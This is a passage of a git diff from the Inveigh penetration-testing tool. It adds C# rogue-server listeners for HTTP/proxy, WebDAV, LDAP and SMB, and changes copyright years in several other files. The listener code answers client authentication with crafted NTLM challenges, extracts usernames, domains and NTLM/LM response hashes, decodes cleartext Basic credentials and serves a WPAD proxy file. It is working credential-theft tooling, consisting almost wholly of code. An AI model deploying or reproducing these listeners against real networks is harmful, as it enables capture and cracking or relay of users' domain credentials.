BitConverter.GetBytes(DateTime.Now.ToFileTime()); + NTLMChallenge challenge = new NTLMChallenge(Challenge, NetbiosDomain, ComputerName, DNSDomain, ComputerName, DNSDomain); + byte[] challengeData = challenge.GetBytes(ComputerName); + ntlmChallenge = BitConverter.ToString(challenge.ServerChallenge).Replace("-", ""); + string sessionTimestamp = BitConverter.ToString(timestamp).Replace("-", ""); + httpSessionTable[sessionTimestamp] = ntlmChallenge; + OutputChallenge(type, listenerPort, sourceIP, sourcePort, ntlmChallenge); + + if (String.Equals(type, "Proxy")) + { + response.StatusCode = "407"; + response.ProxyAuthenticate = "NTLM " + Convert.ToBase64String(challengeData); + } + else + { + response.WWWAuthenticate = "NTLM " + Convert.ToBase64String(challengeData); + } + + response.Connection = ""; + } + else if (ntlm.MessageType == 3) + { + response.StatusCode = "200"; + response.ReasonPhrase = "OK"; + ntlmStage = 3; + isClientClose = true; + NTLMResponse ntlmResponse = new NTLMResponse(Convert.FromBase64String(authorization.Substring(5, authorization.Length - 5)), false); + string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName); + string user = Encoding.Unicode.GetString(ntlmResponse.UserName); + string host = Encoding.Unicode.GetString(ntlmResponse.Workstation); + string ntlmResponseHash = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", ""); + string lmResponseHash = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", ""); + + if (string.IsNullOrEmpty(ntlmChallenge)) // NTLMv2 workaround to track sessions over different ports without a cookie + { + + try + { + byte[] timestamp = new byte[8]; + Buffer.BlockCopy(ntlmResponse.NtChallengeResponse, 24, timestamp, 0, 8); + string sessionTimestamp = BitConverter.ToString(timestamp).Replace("-", ""); + ntlmChallenge = httpSessionTable[sessionTimestamp].ToString(); + } + catch + { + ntlmChallenge = ""; + } + + } + + OutputNTLM(type, listenerPort, sourceIP, sourcePort, user, domain, host, ntlmChallenge, ntlmResponseHash, lmResponseHash); + + if (type.Equals("Proxy")) + { + + if (!string.IsNullOrEmpty(HTTPResponse)) + { + response.CacheControl = "no-cache, no-store"; + } + + } + + } + + } + else if (!string.IsNullOrEmpty(request.Authorization) && request.Authorization.ToUpper().StartsWith("BASIC ")) + { + response.StatusCode = "200"; + response.ReasonPhrase = "OK"; + string httpHeaderAuthorizationBase64 = request.Authorization.Substring(6, request.Authorization.Length - 6); + string cleartextCredentials = Encoding.UTF8.GetString(Convert.FromBase64String(httpHeaderAuthorizationBase64)); + OutputCleartext(type, listenerPort, sourceIP, sourcePort, cleartextCredentials); + } + + if (!string.IsNullOrEmpty(WPADResponse) && !proxyIgnoreMatch && string.Equals(request.URI, "/wpad.dat")) + { + response.ContentType = "application/x-ns-proxy-autoconfig"; + response.Message = Encoding.UTF8.GetBytes(WPADResponse); + } + else if (!string.IsNullOrEmpty(HTTPResponse)) + { + response.Message = Encoding.UTF8.GetBytes(HTTPResponse); + } + + if (EnabledWebDAV) + { + + if (request.Method.Equals("OPTIONS")) + { + response.StatusCode = "200"; + response.ReasonPhrase = "OK"; + response.Allow = "OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, LOCK, UNLOCK"; + response.Public = "OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK"; + response.DAV = "1,2,3"; + response.Author = "DAV"; + } + else if (request.Method.Equals("PROPFIND")) + { + DateTime currentTime = DateTime.Now; + response.Message = Encoding.UTF8.GetBytes("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\"http://www.w3.org/TR/html4/strict.dtd\">\r\n<HTML><HEAD><TITLE>Not Authorized</TITLE>\r\n<META HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=us-ascii\"></HEAD>\r\n<BODY><h2>Not Authorized</h2>\r\n<hr><p>HTTP Error 401. The requested resource requires user authentication.</p>\r\n</BODY></HTML>\r\n"); + response.Connection = ""; + + if (ntlmStage == 3 || (!string.IsNullOrEmpty(request.Authorization) && request.Authorization.ToUpper().StartsWith("BASIC ")) || HTTPAuth.Equals("ANONYMOUS")) + { + response.Connection = "close"; + + if (!request.URI.Contains(".")) + { + response.ContentType = "text/xml"; + response.Message = Encoding.UTF8.GetBytes("<?xml version=\"1.0\" encoding=\"utf-8\"?><D:multistatus xmlns:D=\"DAV:\"><D:response><D:href>http://" + sourceIP + request.URI + "</D:href><D:propstat><D:status>HTTP/1.1 200 OK</D:status><D:prop><D:getcontenttype/><D:getlastmodified>" + currentTime.ToString("R") + "</D:getlastmodified><D:lockdiscovery/><D:ishidden>0</D:ishidden><D:supportedlock><D:lockentry><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry><D:lockentry><D:lockscope><D:shared/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:getetag/><D:displayname>webdav</D:displayname><D:getcontentlanguage/><D:getcontentlength>0</D:getcontentlength><D:iscollection>1</D:iscollection><D:creationdate>" + currentTime.ToString("yyyy-MM-ddThh:mm:ss.fffZ") + "</D:creationdate><D:resourcetype><D:collection/></D:resourcetype></D:prop></D:propstat></D:response></D:multistatus>"); + } + else + { + response.ContentType = "text/plain"; + } + + } + + } + + } + + byte[] buffer = response.GetBytes(); + + if (type.Equals("HTTPS") && httpsStream.CanRead) + { + httpsStream.Write(buffer, 0, buffer.Length); + httpsStream.Flush(); + } + else if (httpStream.CanRead) + { + httpStream.Write(buffer, 0, buffer.Length); + httpStream.Flush(); + } + + if (isClientClose) + { + + if (type.Equals("Proxy")) + { + tcpClient.Client.Close(); + } + else + { + tcpClient.Close(); + } + + } + + } + + } + + } + catch (Exception ex) + { + OutputError(ex, type, port); + } + + } + + protected virtual void OutputUserAgent(string protocol, string listenerPort, string clientIP, string clientPort, string userAgent) + { + + } + + protected virtual void OutputChallenge(string protocol, string listenerPort, string clientIP, string clientPort, string challenge) + { + + } + + protected virtual void OutputHostHeader(string protocol, string listenerPort, string clientIP, string clientPort, string hostHeader) + { + + } + + protected virtual void OutputRequestMethod(string protocol, string listenerPort, string clientIP, string clientPort, string uri, string method) + { + + } + + protected virtual void OutputCleartext(string protocol, string listenerPort, string clientIP, string clientPort, string credentials) + { + + } + + protected virtual void OutputNTLM(string protocol, string listenerPort, string clientIP, string clientPort, string user, string domain, string host, string ntlmChallenge, string ntlmResponseHash, string lmResponseHash) + { + + } + + protected virtual void OutputIgnore(string protocol, string listenerPort, string clientIP, string clientPort, string message) + { + + } + protected virtual void OutputError(Exception ex, string protocol, int port) + { + + } + + } +} diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Listeners/LDAPListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/LDAPListener.cs new file mode 100644 index 0000000..8b6c27c --- /dev/null +++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/LDAPListener.cs @@ -0,0 +1,243 @@ +/* + * BSD 3-Clause License + * + * Copyright (c) 2022, Kevin Robertson + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. Neither the name of the copyright holder nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +using Quiddity.LDAP; +using Quiddity.NTLM; +using Quiddity.Support; +using System; +using System.Net; +using System.Net.Sockets; +using System.Text; +using System.Threading; + +namespace Quiddity +{ + class LDAPListener + { + + public string Challenge { get; set; } + public string NetbiosDomain { get; set; } + public string ComputerName { get; set; } + public string DNSDomain { get; set; } + + public static bool isRunning = false; + + internal void Start(IPAddress ipAddress, int port) + { + TCPListener tcpListener = new TCPListener(ipAddress, port); + IAsyncResult tcpAsync; + + try + { + tcpListener.Start(); + isRunning = true; + + if (tcpListener.Server.IsBound) + { + + while (isRunning) + { + + try + { + tcpAsync = tcpListener.BeginAcceptTcpClient(null, null); + + do + { + Thread.Sleep(10); + + if (!isRunning) + { + break; + } + + } + while (!tcpAsync.IsCompleted); + + TcpClient tcpClient = tcpListener.EndAcceptTcpClient(tcpAsync); + object[] parameters = { tcpClient, port }; + ThreadPool.QueueUserWorkItem(new WaitCallback(ReceiveClient), parameters); + } + catch (Exception ex) + { + OutputError(ex, port); + } + + } + + } + + } + catch (Exception ex) + { + OutputError(ex, port); + } + + } + + internal void ReceiveClient(object parameters) + { + object[] parameterArray = parameters as object[]; + TcpClient tcpClient = (TcpClient)parameterArray[0]; + int port = (int)parameterArray[1]; + NetworkStream tcpStream = tcpClient.GetStream(); + string ntlmChallenge = ""; + string clientIP = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Address.ToString(); + string clientPort = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Port.ToString(); + string listenerPort = ((IPEndPoint)(tcpClient.Client.LocalEndPoint)).Port.ToString(); + + try + { + + while (tcpClient.Connected && isRunning) + { + byte[] requestData = new byte[4096]; + + do + { + Thread.Sleep(100); + } + while (!tcpStream.DataAvailable && tcpClient.Connected); + + while (tcpStream.DataAvailable) + { + tcpStream.Read(requestData, 0, requestData.Length); + } + + LDAPMessage message = new LDAPMessage(); + message.Decode(requestData); + LDAPMessage message2 = new LDAPMessage(); + message2.MessageID = message.MessageID; + byte[] buffer = new byte[0]; + OutputConnection(listenerPort, clientIP, clientPort, message.Tag); + + if (message.Tag == 3) + { + LDAPMessage message3 = new LDAPMessage(); + message3.MessageID = message.MessageID; + LDAPSearchRequest searchRequest = new LDAPSearchRequest(); + searchRequest.ReadBytes((byte[][])message.ProtocolOp); + + LDAPSearchResDone resdone = new LDAPSearchResDone(); + resdone.ResultCode = 0; + LDAPSearchResEntry search = new LDAPSearchResEntry(); + + if (String.Equals(searchRequest.Attributes[0], "supportedCapabilities")) + { + LDAPSupportedCapabilities cap = new LDAPSupportedCapabilities(); + search.Attributes = cap.Encode(); + } + else if (String.Equals(searchRequest.Attributes[0], "supportedSASLMechanisms")) + { + LDAPSupportedSASLMechanisms mech = new LDAPSupportedSASLMechanisms(); + search.Attributes = mech.Encode(); + } + + message2.ProtocolOp = search; + message3.ProtocolOp = resdone; + buffer = Utilities.BlockCopy(message2.Encode(4), message3.Encode(5)); + } + else if (message.Tag == 0) + { + LDAPBindRequest bind = new LDAPBindRequest(); + bind.ReadBytes((byte[][])message.ProtocolOp); + LDAPSaslCredentials sasl = new LDAPSaslCredentials(); + sasl.ReadBytes(bind.Authentication); + NTLMNegotiate ntlm = new NTLMNegotiate(); + ntlm.ReadBytes(sasl.Credentials, 0); + + if (ntlm.MessageType == 1) + { + NTLMChallenge challenge = new NTLMChallenge(Challenge, NetbiosDomain, ComputerName, DNSDomain, ComputerName, DNSDomain); + byte[] challengeData = challenge.GetBytes(ComputerName); + ntlmChallenge = BitConverter.ToString(challenge.ServerChallenge).Replace("-", ""); + + LDAPBindResponse bindResponse = new LDAPBindResponse + { + ServerSaslCreds = challengeData + }; + + LDAPMessage bindMessage = new LDAPMessage + { + MessageID = message.MessageID, + ProtocolOp = bindResponse + }; + + buffer = bindMessage.Encode(3); + OutputChallenge(listenerPort, clientIP, clientPort, ntlmChallenge); + } + else if (ntlm.MessageType == 3) + { + NTLMResponse ntlmResponse = new NTLMResponse(sasl.Credentials, false); + string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName); + string user = Encoding.Unicode.GetString(ntlmResponse.UserName); + string host = Encoding.Unicode.GetString(ntlmResponse.Workstation); + string response2 = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", ""); + string lmResponse = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", ""); + OutputNTLM("LDAP", listenerPort, clientIP, clientPort, user, domain, host, ntlmChallenge, response2, lmResponse); + } + + } + + tcpStream.Write(buffer, 0, buffer.Length); + tcpStream.Flush(); + } + + } + catch (Exception ex) + { + OutputError(ex, port); + } + + } + + protected virtual void OutputConnection(string listenerPort, string clientIP, string clientPort, int tag) + { + + } + + protected virtual void OutputNTLM(string protocol, string listenerPort, string clientIP, string clientPort, string user, string domain, string host, string ntlmChallenge, string ntlmResponseHash, string lmResponseHash) + { + + } + + protected virtual void OutputChallenge(string listenerPort, string clientIP, string clientPort, string challenge) + { + + } + + protected virtual void OutputError(Exception ex, int port) + { + + } + + } +} diff --git a/Inveigh/Protocols/Quiddity/Listeners/LLMNRListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/LLMNRListener.cs index a16d513..a47808b 100644 --- a/Inveigh/Protocols/Quiddity/Listeners/LLMNRListener.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/LLMNRListener.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Listeners/MDNSListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/MDNSListener.cs index 973329b..dafe911 100644 --- a/Inveigh/Protocols/Quiddity/Listeners/MDNSListener.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/MDNSListener.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Listeners/NetBIOSNSListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/NetBIOSNSListener.cs index f2754d6..b3dada5 100644 --- a/Inveigh/Protocols/Quiddity/Listeners/NetBIOSNSListener.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/NetBIOSNSListener.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Listeners/SMBListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/SMBListener.cs new file mode 100644 index 0000000..b9c2197 --- /dev/null +++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/SMBListener.cs @@ -0,0 +1,306 @@ +/* + * BSD 3-Clause License + * + * Copyright (c) 2022, Kevin Robertson + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. Neither the name of the copyright holder nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +using System; +using System.Net; +using System.Net.Sockets; +using System.Text; +using System.Threading; +using Quiddity.NetBIOS; +using Quiddity.NTLM; +using Quiddity.SMB; +using Quiddity.SMB2; + +namespace Quiddity +{ + class SMBListener + { + public string Challenge { get; set; } + public string NetbiosDomain { get; set; } + public string ComputerName { get; set; } + public string DNSDomain { get; set; } + + public static bool isRunning = false; + public static ulong smb2Session = 5548434740922023936; + + internal void Start(IPAddress ipAddress, int port) + { + TCPListener tcpListener = new TCPListener(ipAddress, port); + IAsyncResult tcpAsync; + TcpClient tcpClient; + Guid guid = Guid.NewGuid(); + + try + { + tcpListener.Start(); + isRunning = true; + + if (tcpListener.Server.IsBound) + { + + while (isRunning) + { + + try + { + tcpAsync = tcpListener.BeginAcceptTcpClient(null, null); + + do + { + Thread.Sleep(10); + + if (!isRunning) + { + break; + } + + } + while (!tcpAsync.IsCompleted); + + tcpClient = tcpListener.EndAcceptTcpClient(tcpAsync); + object[] parameters = { guid, tcpClient, port }; + ThreadPool.QueueUserWorkItem(new WaitCallback(ReceiveClient), parameters); + } + catch (Exception ex) + { + OutputError(ex, port); + } + + } + + } + + } + catch (Exception ex) + { + OutputError(ex, port); + } + + } + + internal void ReceiveClient(object parameters) + { + object[] parameterArray = parameters as object[]; + Guid serverGuid = (Guid)parameterArray[0]; + TcpClient tcpClient = (TcpClient)parameterArray[1]; + int port = (int)parameterArray[2]; + NetworkStream tcpStream = tcpClient.GetStream(); + bool isSMB2; + string challenge = ""; + string clientIP = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Address.ToString(); + string clientPort = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Port.ToString(); + string listenerPort = ((IPEndPoint)(tcpClient.Client.LocalEndPoint)).Port.ToString(); + + try + { + + while (tcpClient.Connected && isRunning) + { + byte[] requestData = new byte[4096]; + + do + { + Thread.Sleep(100); + } + while (!tcpStream.DataAvailable && tcpClient.Connected); + + while (tcpStream.DataAvailable) + { + tcpStream.Read(requestData, 0, requestData.Length); + } + + NetBIOSSessionService requestNetBIOSSessionService = new NetBIOSSessionService(requestData); + SMBHelper smbHelper = new SMBHelper(); + + if (requestNetBIOSSessionService.Type == 0 || smbHelper.Protocol[0] == 0xfe || smbHelper.Protocol[0] == 0xff) + { + int sessionServiceIndex = 0; + + if (requestNetBIOSSessionService.Type == 0) + { + sessionServiceIndex = 4; + } + + byte[] sendBuffer = new byte[0]; + SMBHeader requestSMBHeader = new SMBHeader(); + SMB2Header requestSMB2Header = new SMB2Header(); + smbHelper.ReadBytes(requestData, sessionServiceIndex); + + if (smbHelper.Protocol[0] == 0xfe) + { + isSMB2 = true; + requestSMB2Header.ReadBytes(requestData, sessionServiceIndex); + } + else + { + isSMB2 = false; + requestSMBHeader.ReadBytes(requestData, sessionServiceIndex); + } + + if (!isSMB2 && requestSMBHeader.Command == 0x72 || (isSMB2 && requestSMB2Header.Command == 0)) + { + SMB2NegotiatelRequest smb2NegotiatelRequest = new SMB2NegotiatelRequest(requestData, 64 + sessionServiceIndex); + SMB2Header responseSMB2Header = new SMB2Header(); + SMB2NegotiateResponse smb2NegotiateResponse = new SMB2NegotiateResponse(); + + if (!isSMB2) + { + smb2NegotiateResponse.DialectRivision = new byte[2] { 0xff, 0x02 }; + smb2NegotiateResponse.Capabilities = new byte[4] { 0x07, 0x00, 0x00, 0x00 }; + OutputNegotiation("SMB1", listenerPort, clientIP, clientPort); + } + else if (isSMB2) + { + responseSMB2Header.MessageId = requestSMB2Header.MessageId; + + if (smb2NegotiatelRequest.GetMaxDialect() == 0x311) + { + smb2NegotiateResponse.DialectRivision = new byte[2] { 0x11, 0x03 }; + smb2NegotiateResponse.NegotiateContextCount = 3; + smb2NegotiateResponse.Capabilities = new byte[4] { 0x2f, 0x00, 0x00, 0x00 }; + smb2NegotiateResponse.NegotiateContextOffset = 448; + smb2NegotiateResponse.NegotiateContextList = new SMB2NegotiateContext().GetBytes(new string[] { "1", "2", "3" }); + OutputNegotiation("SMB3", listenerPort, clientIP, clientPort); + } + else + { + smb2NegotiateResponse.DialectRivision = new byte[2] { 0x10, 0x02 }; + smb2NegotiateResponse.Capabilities = new byte[4] { 0x07, 0x00, 0x00, 0x00 }; + OutputNegotiation("SMB2", listenerPort, clientIP, clientPort); + } + + responseSMB2Header.Reserved2 = requestSMB2Header.Reserved2; // todo fix + } + + smb2NegotiateResponse.EncodeBuffer(); + smb2NegotiateResponse.ServerGUID = serverGuid.ToByteArray(); + sendBuffer = SMB2Helper.GetBytes(new NetBIOSSessionService(), responseSMB2Header, smb2NegotiateResponse); + } + else if (isSMB2 && requestSMB2Header.Command > 0) + { + + switch (requestSMB2Header.Command) + { + + case 1: + { + SMB2SessionSetupRequest smb2SessionSetupRequest = new SMB2SessionSetupRequest(requestData, 64 + sessionServiceIndex); + NTLMNegotiate requestNTLMNegotiate = new NTLMNegotiate(smb2SessionSetupRequest.Buffer, true); + + if (requestNTLMNegotiate.MessageType == 1) + { + SMB2Header responseSMB2Header = new SMB2Header(); + SMB2SessionSetupResponse smb2SessionSetupResponse = new SMB2SessionSetupResponse(); + responseSMB2Header.Status = new byte[4] { 0x16, 0x00, 0x00, 0xc0 }; + responseSMB2Header.CreditCharge = 1; + responseSMB2Header.Reserved2 = requestSMB2Header.Reserved2; + responseSMB2Header.Command = 1; + responseSMB2Header.Flags = new byte[4] { 0x11, 0x00, 0x00, 0x00 }; + responseSMB2Header.MessageId = requestSMB2Header.MessageId; + responseSMB2Header.SessionId = BitConverter.GetBytes(smb2Session); + smb2Session++; + smb2SessionSetupResponse.Pack(Challenge, NetbiosDomain, ComputerName, DNSDomain, ComputerName, DNSDomain, out byte[] challengeData); + sendBuffer = SMB2Helper.GetBytes(new NetBIOSSessionService(), responseSMB2Header, smb2SessionSetupResponse); + challenge = BitConverter.ToString(challengeData).Replace("-", ""); + OutputChallenge(listenerPort, clientIP, clientPort, challenge); + } + else if (requestNTLMNegotiate.MessageType == 3) + { + NTLMResponse ntlmResponse = new NTLMResponse(smb2SessionSetupRequest.Buffer, true); + string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName); + string user = Encoding.Unicode.GetString(ntlmResponse.UserName); + string host = Encoding.Unicode.GetString(ntlmResponse.Workstation); + string response = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", ""); + string lmResponse = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", ""); + OutputNTLM("SMB", listenerPort, clientIP, clientPort, user, domain, host, challenge, response, lmResponse); + SMB2Header responseSMB2Header = new SMB2Header(); + SMB2SessionSetupResponse smb2SessionSetupResponse = new SMB2SessionSetupResponse(); + responseSMB2Header.Status = new byte[4] { 0x6d, 0x00, 0x00, 0xc0 }; + //responseSMB2Header.Status = new byte[4] { 0x00, 0x00, 0x00, 0x00 }; + //responseSMB2Header.Status = new byte[4] { 0x22, 0x00, 0x00, 0xc0 }; //access denied + responseSMB2Header.CreditCharge = 1; + responseSMB2Header.Reserved2 = requestSMB2Header.Reserved2; + responseSMB2Header.Command = 1; + responseSMB2Header.Flags = new byte[4] { 0x11, 0x00, 0x00, 0x00 }; + responseSMB2Header.MessageId = requestSMB2Header.MessageId; + responseSMB2Header.SessionId = requestSMB2Header.SessionId; + smb2SessionSetupResponse.SecurityBufferOffset = 0; + sendBuffer = SMB2Helper.GetBytes(new NetBIOSSessionService(), responseSMB2Header, smb2SessionSetupResponse); + } + + } + break; + + } + + } + + tcpStream.Write(sendBuffer, 0, sendBuffer.Length); + tcpStream.Flush(); + } + else + { + tcpClient.Close(); + } + + } + + } + catch (Exception ex) + { + OutputError(ex, port); + } + + } + + protected virtual void OutputNTLM(string protocol, string listenerPort, string clientIP, string clientPort, string user, string domain, string host, string ntlmChallenge, string ntlmResponseHash, string lmResponseHash) + { + + } + + protected virtual void OutputChallenge(string listenerPort, string clientIP, string clientPort, string challenge) + { + + } + + protected virtual void OutputNegotiation(string protocol, string listenerPort, string clientIP, string clientPort) + { + + } + + protected virtual void OutputError(Exception ex, int port) + { + + } + + } + +} diff --git a/Inveigh/Protocols/Quiddity/Listeners/TCPListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/TCPListener.cs index 44af085..102f773 100644 --- a/Inveigh/Protocols/Quiddity/Listeners/TCPListener.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/TCPListener.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Listeners/UDPListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/UDPListener.cs index d0a2f49..70cd01f 100644 --- a/Inveigh/Protocols/Quiddity/Listeners/UDPListener.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/UDPListener.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DCERPC/SCMR/SCMRROpenSCManagerW.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DCERPC/SCMR/SCMRROpenSCManagerW.cs index 2337915..2337915 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DCERPC/SCMR/SCMRROpenSCManagerW.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DCERPC/SCMR/SCMRROpenSCManagerW.cs diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Checker.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Checker.cs index 568a892..faec0fd 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Checker.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Checker.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Message.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Message.cs index 3412b0d..d18df87 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Message.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Message.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Packet.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Packet.cs index b3bd457..ca81e13 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/DHCPv6Packet.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/DHCPv6Packet.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option.cs index 6e630d1..6e630d1 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option.cs diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option1.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option1.cs index cf34acc..a67f759 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option1.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option1.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option14.cs 